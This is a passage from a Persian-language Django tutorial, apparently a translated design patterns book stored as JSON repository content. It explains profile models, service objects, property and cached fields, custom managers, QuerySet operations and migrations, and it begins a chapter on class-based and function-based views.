name = \"profiles\"\n    verbose_name = 'User Profiles'\n\n    def ready(self):\n        from . import signals\n\n```\n\nسپس در بخش `INSTALLED_APPS`، خطی که مسیر اپ را تعریف می‌کند به کمک آدرس دهی نقطه‌ای به `AppConfig` متصل می‌کنیم. فایل تنظیمات به شکل زیر خواهد شد:\n\n```\nINSTALLED_APPS = [\n    'profiles.apps.ProfilesConfig',\n    'posts',\n    ...\n\n```\n\nبا تنظیم سیگنال‌ها، دسترسی به `user.profile` باید یک شی `Profile` را از طریق هر کاربر، حتی کاربران تازه ایجاد شده، برگرداند.\n\n##### Admin\n\nاکنون، جزئیات یک کاربر در دو مکان مختلف در داخل ادمین خواهد بود: جزئیات احراز هویت در صفحه مدیریت معمولی کاربر، و جزئیات اضافی پروفایل همان کاربر در یک صفحه مدیریت نمایه جداگانه. این خیلی دست و پا گیر می‌شود.\n\nبرای راحتی، ادمین پروفایل را می‌توان با تعریف یک `UserAdmin` سفارشی در `profiles/admin.py`،  به صورت زیر به ادمین پیش فرض کاربر، اضافه کرد:\n\n```\nfrom django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom .models import Profile\nfrom django.contrib.auth.models import User\n\nclass UserProfileInline(admin.StackedInline):\n    model = Profile\n\nclass NewUserAdmin(UserAdmin):\n    inlines = [UserProfileInline]\n\nadmin.site.unregister(User)\nadmin.site.register(User, NewUserAdmin)\n\n```\n\n# گونه‌های مختلف پروفایل\n\nفرض کنید به چندین نوع کاربر و پروفایل‌های مربوط به آن‌ها در برنامه خود نیاز دارید - باید یک فیلد برای ردیابی نوع پروفایل کاربر وجود داشته باشد. خود داده‌های `profile` باید در مدل‌های جداگانه یا یک مدل یکپارچه ذخیره شوند.\n\nیک رویکرد تجمیعی برای `Profile` توصیه می‌شود زیرا انعطاف پذیری برای تغییر انواع `Profile` بدون از دست دادن جزئیات آن‌ها را می‌دهد و پیچیدگی را به حداقل می‌رساند. در این رویکرد، مدل `Profile` شامل یک ابرمجموعه از تمام فیلدها از همه انواع `Profile` است.\n\nبرای مثال، SuperBook به یک پروفایل نوع ابرقهرمانی و یک پروفایل معمولی (غیر ابرقهرمانی) نیاز دارد. می‌توان آن را با استفاده از یک مدل پروفایل یکپارچه به صورت زیر پیاده سازی کرد:\n\n```\nclass BaseProfile(models.Model):\n    USER_TYPES = (\n        (0, 'Ordinary'),\n        (1, 'SuperHero'),\n    )\n    user = models.OneToOneField(settings.AUTH_USER_MODEL, primary_key=True)\n    user_type = models.IntegerField(max_length=1, null=True, choices=USER_TYPES)\n    bio = models.CharField(max_length=200, blank=True, null=True)\n\n    def __str__(self):\n        return \"{}: {:.20}\". format(self.user, self.bio or \"\")]\n\n    class Meta:\n        abstract = True\n\nclass SuperHeroProfile(models.Model):\n    origin = models.CharField(max_length=100, blank=True, null=True)\n\n    class Meta:\n        abstract = True\n\nclass OrdinaryProfile(models.Model):\n    address = models.CharField(max_length=200, blank=True, null=True)\n\n    class Meta:\n        abstract = True\n\nclass Profile(SuperHeroProfile, OrdinaryProfile, BaseProfile):\n    pass\n\n```\nما جزئیات پروفایل را در چندین کلاس پایه انتزاعی گروه بندی کردیم تا موضوعات را از هم جدا کنیم. کلاس `BaseProfile` شامل تمام جزئیات پروفایل رایج، صرف نظر از نوع کاربر است. همچنین دارای یک قسمت `user_type` است که پروفایل فعال کاربر را ردیابی می‌کند.\n\nکلاس `SuperHeroProfile` و کلاس `OrdinaryProfile` به ترتیب حاوی جزئیات `Profile` مخصوص کاربران ابرقهرمانی و غیرقهرمانی هستند. در نهایت، کلاس `Profile` از تمام این کلاس‌های پایه برای ایجاد یک ابرمجموعه از جزئیات پروفایل مشتق می‌شود.\n\nبرخی از جزئیاتی که در هنگام استفاده از این روش باید رعایت شود به شرح زیر است:\n\n- تمام فیلدهای `Profile` که متعلق به کلاس یا کلاسهای پایه انتزاعی آن هستند باید nullable یا دارای مقدار پیش فرض باشند.\n- این رویکرد ممکن است فضای پایگاه داده بیشتری را به ازای هر کاربر مصرف کند، اما انعطاف پذیری فوق العاده‌ای می‌دهد.\n- فیلدهای فعال و غیرفعال برای نوع `Pofile` باید خارج از مدل مدیریت شوند. برای مثال، فرمی برای ویرایش نمایه باید فیلدهای مناسب را بر اساس نوع کاربر فعال فعلی نشان دهد.\n\n# Pattern – service objects\n\n**مشکل**: مدل‌ها می‌توانند بزرگ و غیرقابل مدیریت شوند. تست و نگهداری آن‌ها سخت تر می‌شود زیرا یک مدل بیش از یک کار را انجام می‌دهد.\n\n**راه‌حل**: مجموعه‌ای از متد‌های مرتبط یا یک مدل را در یک شیء تخصصی خدماتی به نام *Service* جای دهید.\n\n#### جزئیات مشکل\n\nمدل‌های چاق، ویوی لاغر ضرب‌المثلی است که معمولاً برای مبتدیان جنگو گفته می‌شود. در حالت ایده آل، ویوهای شما نباید حاوی چیزی غیر از منطق برنامه باشد.\n\nبا این حال، با گذشت زمان، کدهایی که نمی توانند در جای دیگری قرار گیرند، تمایل پیدا می‌کنند درون مدل‌ها قرار گیرند. به زودی، مدل‌ها تبدیل به محل تخلیه کد می‌شوند.\n\nاگر مدل شما حاوی هر یک از موارد زیر است، یک شی *Service* برای آن نیاز دارد:\n\n1. تعامل با سرویس‌های خارجی، به عنوان مثال، بررسی اینکه آیا کاربر واجد شرایط دریافت پروفایل *SuperHeroProfile* هست یا نه، به کمک یک وب‌سرویس.\n2. کارهای کمکی که با پایگاه داده سروکار ندارند، به عنوان مثال، ایجاد یک URL کوتاه یا کپچای تصادفی برای یک کاربر\n3. ساختن یک شی با عمر کوتاه بدون نیاز به پایگاه داده، به عنوان مثال، ایجاد یک پاسخ JSON برای یک تماس AJAX\n4. عملکردی که چندین نمونه مدل را در بر می‌گیرد اما به هیچکس تعلق ندارد\n5. وظایف طولانی مدت مانند وظایف Celery\n\nمدل‌ها در جنگو از الگوی Active Record پیروی می‌کنند، یعنی هر نمونه از کلاس، مربوط به یک ردیف در جدول پایگاه داده است. در حالت ایده‌آل، آن‌ها هم دسترسی به پایگاه داده و هم منطق برنامه (یا دامنه) را محصور می‌کنند. با این حال، منطق برنامه را در حداقل ممکن، نگه دارید. \n\nدر حین آزمایش، اگر متوجه شدیم که پایگاه داده را حتی در حالی که از آن استفاده نمی‌کنیم، به کار‌ می‌گیریم، باید کلاس مدل را تجزیه کنیم. استفاده از یک شیء Service در چنین شرایطی توصیه می‌شود.\n\n#### جزییات راه حل\n\nاشیاء سرویس **Plain Old Python Objects (POPO)** یا اشیاء ساده قدیمی پایتون، هستند که یک سرویس یا تعاملات با یک سیستم را محصور می‌کنند. آن‌ها معمولاً در یک فایل جداگانه با نام *services.py* یا *utils.py* نگهداری می‌شوند.\n\nبه عنوان مثال، بررسی یک وب سرویس گاهی اوقات در یک متد مدل به شرح زیر قرار می‌گیرد:\n\n```\nclass Profile(models.Model):\n    ...\n    def is_superhero(self):\n        url = \"<http://api.herocheck.com/?q={0}>\".format(\n            self.user.usernam\n        )\n        return webclient.get(url)\n\n```\n\nاین متد می‌تواند با تغییر به یک شیء سرویس به شکل زیر بازنویسی شود:\n\n```\nfrom .services import SuperHeroWebAPI\n\ndef is_superhero(self):\n    return SuperHeroWebAPI.is_hero(self.user.username)\n\n```\n\nآبژکت‌های سرویس می‌توانند در فایلی به نام *services.py* به شکل زیر جمع‌آوری شوند:\n\n```\nAPI_URL = \"<http://api.herocheck.com/?q={0}>\"\n\nclass SuperHeroWebAPI:\n    ...\n    @staticmethod\n    def is_hero(username):\n        url = API_URL.format(username)\n        return webclient.get(url)\n\n```\n\nدر بیشتر موارد، متدهای یک شیء سرویس بدون حالت هستند، یعنی عمل را صرفاً بر اساس آرگومان‌های تابع بدون استفاده از ویژگی‌های کلاس انجام می‌دهند. از این رو، بهتر است آن‌ها را به صراحت به عنوان متدهای استاتیک (ایستا) تعریف کنیم (همانطور که برای *is_hero* انجام دادیم).\n\nدر نظر بگیرید که منطق کسب و کار یا منطق دامنه خود را از مدل‌ها به اشیاء خدماتی تبدیل کنید. به این ترتیب، می‌توانید از آن‌ها در خارج از برنامه جنگو نیز استفاده کنید.\n\nتصور کنید یک دلیل تجاری وجود دارد که برخی از کاربران را بر اساس نام کاربری خود از تبدیل شدن به ابرقهرمانان، در لیست ممنوعه قرار دهید. شی سرویس ما را می‌توان به راحتی برای پشتیبانی از این موضوع، تغییر داد:\n\n```\nclass SuperHeroWebAPI:\n    ...\n    @staticmethod\n    def is_hero(username):\n        blacklist = set([\"syndrome\", \"kcka$$\", \"superfake\"])\n        url = API_URL.format(username)\n        return username not in blacklist and webclient.get(url)\n\n```\n\nدر حالت ایده آل، اشیاء سرویس، مستقل هستند. این باعث می‌شود که آن‌ها را بتوان بدون به کارگرفتن، مثلاً پایگاه داده، به سادگی آزمایش کرد. آن‌ها همچنین می‌توانند به راحتی مورد استفاده مجدد قرار گیرند.\n\nدر جنگو، سرویس‌های وقت گیر به صورت ناهمزمان با استفاده از صف‌های وظیفه مانند Celery اجرا می‌شوند. به طور معمول، اقدامات شیء سرویس به عنوان وظایف Celery اجرا می‌شوند. چنین کارهایی را می‌توان به صورت دوره‌ای یا با تاخیر اجرا کرد.\n\n# الگوهای بازیابی\n\nاین بخش شامل الگوهای طراحی است که با دسترسی به ویژگی‌های مدل یا انجام کوئری بر روی آن‌ها سروکار دارد. این الگوهای بازیابی می‌توانند به شما در طراحی راه‌های بهتر برای دسترسی به اطلاعاتی که اغلبزیاد مورد استفاده هستند، کمک کنند.\n\n#### الگو - فیلد ویژگی یا property field\n\n**مشکل:** مدل‌ها دارای ویژگی‌های مشتق شده‌ای هستند که به عنوان متد پیاده سازی می‌شوند. با این حال، این ویژگی‌ها نباید در پایگاه داده حفظ شوند.\n\n**راه حل:** از دکوراتور ویژگی در چنین روش‌هایی استفاده کنید.\n\n#### جزئیات مشکل\n\nفیلدهای یک مدل، ویژگی‌های هر نمونه از آن مدل را، مانند نام، نام خانوادگی، تاریخ تولد و غیره، در خود ذخیره می‌کنند. آن‌ها همچنین در پایگاه داده ذخیره می‌شوند. با این حال، ما باید به برخی از ویژگی‌های مشتق شده مانند نام کامل یا سن دسترسی داشته باشیم.\n\nآن‌ها را می‌توان به راحتی از فیلدهای پایگاه داده محاسبه کرد، بنابراین نیازی به ذخیره جداگانه نیست. در برخی موارد، آن‌ها فقط می‌توانند یک بررسی مشروط مانند واجد شرایط بودن برای پیشنهادات بر اساس سن، امتیاز عضویت و وضعیت فعال باشند.\n\nیک راه ساده برای پیاده سازی این فیلد، تعریف توابعی مانند get_age به شکل زیر است:\n\n```\nclass BaseProfile(models.Model):\n    birthdate = models.DateField()\n    #...\n    def get_age(self):\n        today = datetime.date.today()\n        return (today.year - self.birthdate.year) - int(\n            (today.month, today.day) <\n            (self.birthdate.month, self.birthdate.day))\n\n```\n\nفراخوانی *profile.get_age()* سن کاربر را بر اساس تفاوت بین سال تولد و تاریخ امروز بر اساس سال و ماه و روز، محاسبه می‌کند. (یعنی اگر تولد امسال هنوز فرا نرسیده باشد، امسال به عدد سن اضافه نمی‌شود).\n\nاین می‌تواند توسط یک فراخوانی تابع احضار شود. با این حال، بسیار خواناتر (و پایتونیک) است که آن را *profile.age* نامید.\n\n#### جزئیات راه حل\n\nکلاس‌های پایتون می‌توانند  با استفاده از دکوراتور `property`، یک تابع را به‌عنوان یک ویژگی در نظر بگیرند. مدل‌های جنگو نیز می‌توانند از آن استفاده کنند. در مثال قبلی، خط تعریف تابع را با زیر جایگزین کنید:\n\n```\n @property\n def age(self):\n\n```\n\nاکنون می‌توانیم با `profile.age` به سن کاربر دسترسی پیدا کنیم. توجه داشته باشید که نام تابع نیز کوتاه شده است.\n\nیک نقص مهم یک property این است که برای ORM نامرئی است، درست مانند متدهای تعریف شده در مدل. شما نمی‌توانید آن را در یک شی `QuerySet` استفاده کنید. به عنوان مثال، این دستور کار نمی‌کند، `Profile.objects.exclude(age__lt=18)`. با این حال، برای ویوها یا تمپلیت‌ها قابل مشاهده است.\n\nدر صورت نیاز به استفاده از آن در یک شیء `QuerySet`، ممکن است بخواهید از عبارت `Query` استفاده کنید. از تابع `annotate` برای اضافه کردن یک عبارت کوئری، برای استخراج یک فیلد محاسبه شده از فیلدهای موجود خود استفاده کنید.\n\nیک دلیل خوب برای تعریف یک `property`، پنهان کردن جزئیات کلاس‌های داخلی است. این موضوع به طور رسمی به عنوان **Law of Demeter (LoD)** یا **قانون دیمیتر** شناخته می‌شود. به بیان ساده، این قانون می‌گوید که شما فقط باید به اعضای مستقیم خود دسترسی داشته باشید یا فقط از یک نقطه برای دسترسی به اعضا، استفاده کنید.\n\nبه عنوان مثال، به جای دسترسی به `profile.birthdate.year`، بهتر است ویژگی `profile.birthyear` را تعریف کنید. این کار به شما کمک می‌کند ساختار زیربنایی فیلد *birthdate* را از این طریق پنهان کنید.\n\n##### Best Practice\n\n*از LoD استفاده کنید تا وقتی به یک property دسترسی پیدا می‌کنید فقط با یک نقطه به آن برسید.*\n\nیک عارضه جانبی نامطلوب این قانون این است که منجر به ایجاد چندین ویژگی پوششی (wrapped properties) در مدل می‌شود. این موضوع می‌تواند مدل‌ها را متورم کند و نگهداری از آن‌ها را سخت کند. از این قانون برای بهبود API مدل خود استفاده کنید و هر جا که منطقی است، اتصال را کاهش دهید.\n\n#### ویژگی‌های ذخیره شده در حافظه پنهان (Cached)\n\nهر بار که یک *property* را فراخوانی می‌کنیم، یک تابع را دوباره محاسبه می‌کنیم. اگر محاسبه گرانی است، ممکن است بخواهیم نتیجه را در حافظه پنهان نگه داریم. به این ترتیب، دفعه بعد که به *property* دسترسی پیدا کرد، مقدار *cached* برگردانده می‌شود:\n\n```\nfrom django.utils.functional import cached_property\n\n    #...\n    @cached_property\n    def full_name(self):\n        # Expensive operation e.g. external service call\n        return \"{0} {1}\".format(self.firstname, self.lastname)\n\n```\n\nمقدار *cached* به عنوان بخشی از نمونه پایتون (python instance) در حافظه ذخیره می‌شود. تا زمانی که نمونه وجود دارد، همان مقدار برگردانده می‌شود.\n\nبه‌عنوان یک مکانیسم ایمن، ممکن است بخواهید اجرای *Expensiveoperation* را مجبور کنید تا اطمینان حاصل کنید که مقادیر قدیمی برنمی‌گردند. در چنین مواردی، یک آرگومان کلمه کلیدی مانند *cached=False* تنظیم کنید تا از بازگرداندن مقدار *cached* جلوگیری کنید.\n\n# الگو - مدیریت سفارشی مدل (custom managers)\n\n**مشکل:** برخی از کوئری‌های مربوط به مدل‌ها به طور مکرر و بدون رعایت اصل DRY، در سراسر کد تعریف شده و مورد دسترسی قرار می‌گیرند.\n\n**راه‌حل:** مدیریت سفارشی را تعریف کنید تا نام‌های معنی‌داری به پرس و جوهای رایج بدهند.\n\n#### جزئیات مشکل\n\nهر مدل جنگو دارای یک مدیر پیش فرض به نام **objects** است. فراخوانی `objects.all()`، تمام ورودی‌های آن مدل را در پایگاه داده برمی گرداند. معمولاً ما فقط به یک زیرمجموعه از همه ورودی‌ها علاقه‌مند هستیم.\n\nما فیلترهای مختلفی را اعمال می‌کنیم تا مجموعه ورودی‌های مورد نیاز خود را پیدا کنیم. معیار انتخاب آن‌ها اغلب منطق اصلی کسب و کار ما است. به عنوان مثال، ما می‌توانیم پست‌های قابل دسترسی برای عموم را با کد زیر پیدا کنیم:\n\n```\npublic = Posts.objects.filter(privacy=\"public\")\n\n```\n\nاین معیار ممکن است در آینده تغییر کند. برای مثال، ممکن است بخواهیم بررسی کنیم که آیا پست برای ویرایش علامت‌گذاری شده است یا خیر. این تغییر ممکن است به صورت زیر باشد:\n\n```\n    public = Posts.objects.filter(privacy=POST_PRIVACY.Public, draft=False)\n\n```\n\nبا این حال، این تغییر باید در هر جایی که به یک پست عمومی نیاز است انجام شود. این می‌تواند بسیار خسته کننده باشد. فقط باید یک مکان برای تعریف چنین کوئری‌های پرکاربرد بدون نقض قانون *repeating oneself* وجود داشته باشد.\n\n#### جزئیات راه حل\n\nکلاس *QuerySet* یک کلاس انتزاعی بسیار قدرتمند است. آن‌ها تنها در صورت نیاز با تنبلی (lazily) ارزیابی می‌شوند. از این رو، ساخت *QuerySet* طولانی‌تر با روش زنجیره‌ای (شکلی از رابط روان) بر عملکرد آن‌ها تأثیر نمی گذارد.\n\nدر واقع، با اعمال فیلتر بیشتر، مجموعه داده نتیجه کوچک می‌شود. این کار معمولا مصرف حافظه برای به‌دست آمدن نتیجه را کاهش می‌دهد.\n\nمدیر یک مدل (model manager)، رابط مناسب برای یک مدل برای دریافت شیء *QuerySet* است. به عبارت دیگر، آن‌ها به شما کمک می‌کنند از ORM جنگو برای دسترسی به پایگاه داده زیربنایی استفاده کنید. در واقع، مدیران به عنوان پوشش‌های بسیار نازک در اطراف یک شیء *QuerySet* پیاده سازی می‌شوند. به این دو رابط یکسان توجه کنید:\n\n```\n    >>> Post.objects.filter(posted_by__username=\"a\")\n    [<Post: a: Hello World>, <Post: a: This is Private!>]\n    >>> Post.objects.get_queryset().filter(posted_by__username=\"a\")\n    [<Post: a: Hello World>, <Post: a: This is Private!>]\n\n```\n\nمدیر پیش‌فرض ایجاد شده توسط جنگو، *objects*، چندین متد دارد، مانند *all*، *filter* یا *exclude* که یک *QuerySet* را برمی‌گرداند. با این حال، آن‌ها فقط یک API سطح پایین برای پایگاه داده شما تشکیل می‌دهند.\nاز مدیران سفارشی برای ایجاد یک API سطح بالاتر مخصوص دامنه استفاده می‌شود. این نه تنها قابل خواندن‌تر است، بلکه کمتر تحت تأثیر جزئیات پیاده سازی قرار می‌گیرد. بنابراین، شما می‌توانید در سطح بالاتری از انتزاع که دقیقاً با دامنه خود شما مدل شده است، کار کنید.\n\nمثال قبلی ما برای پست‌های عمومی را می‌توان به راحتی به یک مدیر سفارشی به شرح زیر تبدیل کرد:\n\n```\n# managers.py\nfrom django.db.models.query import QuerySet\n\nclass PostQuerySet(QuerySet):\n\n    def public_posts(self):\n        return self.filter(privacy=\"public\")\n\nPostManager = PostQuerySet.as_manager\n\n```\n\nاین میانبر مناسب برای ایجاد یک مدیر سفارشی از یک شی *QuerySet*، در جنگو 1.7 ظاهر شد. برخلاف سایر روش‌های قبلی، این شیء *PostManager* مانند مدیر پیش‌فرض *objects* قابل اتصال به کمک زنجیره کوئری‌ها است.\n\nگاهی اوقات منطقی است که مدیر پیش فرض *objects* را با مدیر سفارشی خود جایگزین کنیم، همانطور که در کد زیر نشان داده شده است:\n\n```\nfrom .managers import PostManager\n\nclass Post(Postable):\n    ...\n    objects = PostManager()\n\n```\n\nبا انجام این کار، برای دسترسی به *public_posts*، کد ما به میزان قابل توجهی به شکل زیر ساده می‌شود:\n\n```\npublic = Post.objects.public_posts()\n\n```\n\nاز آنجایی که مقدار بازگشتی یک *QuerySet* است، می‌توان آن‌ها را بیشتر فیلتر کرد:\n\n```\npublic_apology = Post.objects.public_posts().filter(message_startswith=\"Sorry\")\n\n```\n\nشیء *QuerySet* چندین ویژگی جالب دارد. در چند بخش بعدی، می‌توانیم به برخی از الگوهای رایج که شامل ترکیب *QuerySet*‌ها هستند نگاهی بیندازیم.\n\n##### عملیات را در QuerySets تنظیم کنید\n\nشیء *QuerySets* مطابق با نام خود (یا بهتر بگوییم نیمه دوم نام خود) از بسیاری از ویژگی‌های مجموعه ریاضی، پشتیبانی می‌کند. برای مثال، دو *QuerySets* را در نظر بگیرید که شامل اشیاء کاربر است:\n\n```\n    >>> q1 = User.objects.filter(username__in=[\"a\", \"b\", \"c\"])\n    [<User: a>, <User: b>, <User: c>]\n    >>> q2 = User.objects.filter(username__in=[\"c\", \"d\"])\n    [<User: c>, <User: d>]\n\n```\n\nبرخی از عملیات مجموعه‌ای که می‌توانید بر روی آن‌ها انجام دهید به شرح زیر است:\n\n- **Union:** این عملیات موارد تکراری را ترکیب و حذف می‌کند. استفاده از `q1 | q2` برای دریافت `[<User: a>،\n<User: b>، <User: c>، <User: d>]`.\n\n- **Intersection:** این عملیات موارد مشترک را پیدا می‌کند. برای دریافت `[<User: c>]` از `q1` و `q2` استفاده کنید.\n\n- **Difference:** این عملیات عنصرهای موجود در مجموعه دوم را از مجموعه اول حذف می‌کند. هیچ عملگر منطقی برای این کار وجود ندارد. در عوض از `q1.exclude(pk__in=q2)` برای دریافت `[<User: a>، <User: b>]` استفاده کنید.\n\nهمین عملیات را می‌توان در *QuerySets* با استفاده از اشیاء *Q* انجام داد:\n\n```\n    from django.db.models import Q\n\n    # Union\n    >>> User.objects.filter(Q(username__in=[\"a\", \"b\", \"c\"]) |\n    Q(username__in=[\"c\", \"d\"]))\n    [<User: a>, <User: b>, <User: c>, <User: d>]\n    # Intersection\n    >>> User.objects.filter(Q(username__in=[\"a\", \"b\", \"c\"]) &\n    Q(username__in=[\"c\", \"d\"]))\n    [<User: c>]\n    # Difference\n    >>> User.objects.filter(Q(username__in=[\"a\", \"b\", \"c\"]) &\n    ~Q(username__in=[\"c\", \"d\"]))\n    [<User: a>, <User: b>]\n\n```\n\n*تفاوت با استفاده از & (and) و ~ (نفی) اجرا می‌شود. اشیاء *Q* بسیار قدرتمند هستند و می‌توان از آن‌ها برای ساخت کوئری‌های بسیار پیچیده استفاده کرد.*\n\nبا این حال، رفتار **Set** و **QuerySets** کاملاً یکسان نیست، **QuerySets**ها بر خلاف مجموعه‌های ریاضی، مرتب‌شده هستند. بنابراین، آن‌ها از این نظر به ساختار داده **لیست** در پایتون، نزدیکتر هستند.\n\n# زنجیره‌سازی چندین *QuerySets*\n\nتاکنون، *QuerySets* از همان نوع متعلق به یک کلاس پایه را با هم ترکیب کرده ایم. با این حال، ممکن است لازم باشد *QuerySets* را از مدل‌های مختلف ترکیب کنیم و عملیاتی را روی آن‌ها انجام دهیم.\n\nبه عنوان مثال، جدول زمانی فعالیت یک کاربر شامل تمام پست‌ها و نظرات آن‌ها به ترتیب زمانی معکوس است. روش‌های قبلی ترکیب *QuerySets* کار نمی کند. یک راه حل ساده لوحانه، تبدیل آن‌ها به لیست، الحاق و مرتب کردن آن‌ها به شرح زیر است:\n\n```\n >>>recent = list(posts)+list(comments)\n >>>sorted(recent, key=lambda e: e.modified, reverse=True)[:3]\n [<Post: user: Post1>, <Comment: user: Comment1>, <Post: user: Post0>]\n\n```\n\nمتأسفانه، این عملیات هر دو شیء تنبل *QuerySet* را ارزیابی کرده است. استفاده از حافظه برای ترکیب این دو لیست می‌تواند بسیار زیاد باشد. علاوه بر این، تبدیل *QuerySets* بزرگ به لیست می‌تواند بسیار کند باشد.\n\nیک راه حل بسیار بهتر استفاده از iterator‌ها برای کاهش مصرف حافظه است. از روش *itertools.chain* برای ترکیب چند *QuerySets* به صورت زیر استفاده کنید:\n\n```\n >>> from itertools import chain\n >>> recent = chain(posts, comments)\n >>> sorted(recent, key=lambda e: e.modified, reverse=True)[:3]\n\n```\n\nهنگامی که یک *QuerySet* را ارزیابی می‌کنید، هزینه ورود به پایگاه داده می‌تواند بسیار زیاد باشد. بنابراین، مهم است که آن را تا جایی که ممکن است با انجام عملیاتی که *QuerySets* را بدون ارزیابی باز می‌گرداند به تأخیر بیندازید.\n\n*تا جایی که ممکن است *QuerySets* را بدون ارزیابی نگه دارید.*\n\n# مهاجرت‌ها (migrations)\n\nمهاجرت‌ها به شما کمک می‌کند تا با اطمینان در مدل‌های خود تغییراتی ایجاد کنید. مهاجرت مدل، در جنگو 1.7 معرفی شد، مهاجرت برای یک گردش کار توسعه روشمند، ضروری است. روند کار جدید اساساً به شرح زیر است:\n\n1. اولین باری که کلاس مدل خود را تعریف می‌کنید، باید موارد زیر را اجرا کنید:\n\n    ```\n        python manager.py makemigrations <app_label>\n   \n    ```\n\n2. با این کار اسکریپت‌های مهاجرت در پوشه *app/migrations* ایجاد می‌شود\n\n3. دستور زیر را در همان محیط (توسعه) اجرا کنید:\n\n    ```\n        python manager.py migrate <app_label>\n   \n    ```\n\n4. این کار تغییرات مدل را در پایگاه داده اعمال می‌کند. گاهی اوقات، سؤالاتی برای رسیدگی به مقادیر پیش فرض، تغییر نام و غیره پرسیده می‌شود.\n\n5. اسکریپت‌های مهاجرت را به محیط‌های دیگر انتشار دهید. به طور معمول، ابزار کنترل نسخه شما، به عنوان مثال Git، این کار را انجام می‌دهد. همانطور که آخرین منبع بررسی می‌شود، اسکریپت‌های مهاجرت جدید نیز ظاهر می‌شوند.\n\n6. دستور زیر را در این محیط‌ها اجرا کنید تا تغییرات مدل اعمال شود:\n\n    ```\n        python manager.py migrate <app_label>\n   \n    ```\n\n7. هر زمان که در کلاس مدل‌ها تغییراتی ایجاد کردید، مرحله 1 تا مرحله 5 را تکرار کنید.\n\nاگر *app_label* را در دستورات حذف کنید، جنگو تغییرات اعمال نشده را در هر برنامه پیدا می‌کند و آن‌ها را *migrate* می‌کند.\n\n# خلاصه\n\nدرست طراحی کردن مدل، سخت است. با این حال، برای توسعه با جنگو، این بخش، یک مرحله اساسی است. در این فصل به چندین الگوی رایج هنگام کار با مدل‌ها نگاه کردیم. در هر مورد، ما به تاثیر راه حل پیشنهادی و مبادلات مختلف نگاه کردیم.\n\nدر فصل بعد، الگوهای طراحی رایجی را که هنگام کار با نماها و تنظیمات URL با آن مواجه می‌شویم، بررسی خواهیم کرد.\n"
  },
  {
    "path": "04-Views-and-URLs/README.md",
    "content": "# ویوها و URLها\n\nدر این فصل ما در مورد مباحث زیر بحث خواهیم کرد:\n\n- ویوهای مبتنی بر کلاس و مبتنی بر تابع\n- میکسین‌ها\n- دکوراتورها\n- الگوهای مرسوم ویو\n- طراحی کردن URLها\n- کار کردن با ری‌اکت و دیگر فرانت‌اندهای جاوا اسکریپت\n\n## نگاهی به ویو از بالا \n\nدر جنگو، ویوها به عنوان فراخوانی کننده تعریف می‌شوند که درخواست‌ها را می‌پذیرند و پاسخ‌ها را برمی‌گردانند. ویوها معمولاً یک تابع یا کلاسی به همراه متود کلاسی مخصوص مثل ```()as_view``` هستند.\n\nدر هر دو مورد ما یک تابع پایتون معمولی میسازیم که ```HTTPRequest``` را به عنوان آرگومان اول می‌گیرد و ```HTTPResponse``` را به عنوان پاسخ برمی‌گرداند.\nیک ```پیکربندی URL یا (URLConf)``` نیز میتواند به عنوان آرگومان اضافه به این تابع فرستاده شود. این آرگومان‌ها می‌توانند از، بخشی از URL گرفته شوند و یا مقدار آن به صورت پیشفرض معین شده باشد.\n\nنمونه یک ویوی ساده به شکل زیر است:\n\n```python\n    # In views.py\n    from django.http import HttpResponse\n\n    def hello_fn(request, name=\"World\"):\n        return HttpResponse(\"Hello {}!\".format(name))\n```\n\nهر دو خط تابع ویو ما به قدری ساده است که راحت میشود آن را متوجه شد. در حال حاضر ما هیچ کاری با آرگومان‌هایی که با درخواست فرستاده شده‌اند نداریم. برای بهتر فهمیدن کانتکس که در کدام ویو صدا زده شده است، می‌توانیم درخواست را بررسی کنیم به طور مثال با نگاه کردن به پارامترهای ```GET/POST```، مسیر URI یا هدرهای HTTP مانند ```REMOTE_ADDR```.\n\nتنظیم نقشه مسیرها در ```پیکربندی URL``` به صورت سنتی است که از عبارات منظم استفاده می‌شود و نمونه آن به صورت زیر است:\n\n```python\n    # In urls.py\n        url(r'^hello-fn/(?P<name>\\w+)/$', views.hello_fn),\n        url(r'^hello-fn/$', views.hello_fn),\n```\n \nبرای پشتیبانی کردن از دو الگوی URL میتوانیم از همان ویو مجدداً استفاده کنیم. الگوی اول یک نام را به عنوان آرگومان می‌گیرد. الگوی دوم هیچ آرگومانی را از URL نمی‌گیرد و تابع ویو از مقدار پیشفرض معین شده «World» برای نام را استفاده می‌کند.\n\nوقتی شما از سینتکس مسیریابی ساده شده که در جنگو 2.0 معرفی شد استفاده می‌کنید، ارسال پارامترها به طور یکسان کار میکند.پس شما نگاشت معادل آن را میتوانید در ```viewschapter/urls.py``` پیدا کنید:\n\n```python\n    # In urls.py\n        path('hello-fn/<str:name>/', views.hello_fn),\n        path('hello-fn/', views.hello_fn),\n```\n\nما در ادامه کتاب از سینتکس ساده شده استفاده می‌کنیم که خواندن آن راحت‌تر است.\n\n### ویوهایی که کلاسی‌تر هستند\n\nویوهای مبتنی بر کلاس در جنگو 1.4 معرفی شدند. در اینجا ما معادل تابع ویو قبلی را که دیدیم برای ویو مبتنی بر کلاس بازنویسی کرده‌ایم:\n\n```python\nfrom django.views.generic import View\n\n\nclass HelloView(View):\n    def get(self, request, name=\"World\"):\n        return HttpResponse(\"Hello {}!\".format(name))\n```\n\nدر اینجا نیز متناظر با قبل در ```پیکربندی URL``` ما دو خط داریم که در زیر آمده است:\n\n```python\n# In urls.py\n    path('hello-cl/<str:name>/', views.HelloView.as_view()),\n    path('hello-cl/', views.HelloView.as_view()),\n```\n\nچندین تفاوت جالب بین ویوهای کلاسی و ویوهای تابعی وجود دارد. این که ما نیاز داریم اول کلاس را تعریف کنیم خیلی واضح است و بعد از آن باید صراحتاً فقط درخواست‌های ```GET``` را مدیریت کنیم. در ویو  تابعی قبلی برای متود ```POST ،GET``` یا دیگر عملکردهای HTTP همان پاسخ را دریافت می‌کنیم. همانطور که در دستورهای زیر از کلاینت در شل جنگو استفاده می‌کنیم:\n\n```python\n    >>> from django.test import Client\n    >>> c = Client()\n\n    >>> c.get(\"http://0.0.0.0:8000/hello-fn/\").content\n    b'Hello World!'\n\n    >>> c.post(\"http://0.0.0.0:8000/hello-fn/\").content\n    b'Hello World!'\n\n    >>> c.get(\"http://0.0.0.0:8000/hello-cl/\").content\n    b'Hello World!'\n\n    >>> c.post(\"http://0.0.0.0:8000/hello-cl/\").content\n    Method Not Allowed (POST): /hello-cl/\n    b''\n```\n\nتوجه کنید که متود ```POST``` به جای اینکه در سکوت نادیده گرفته شود دیگر غیرمجاز است. صریح بودن از نقطه نظر امنیت و نگه‌داری ویو خوب است.\n\nمهمترین مزیت استفاده از کلاس 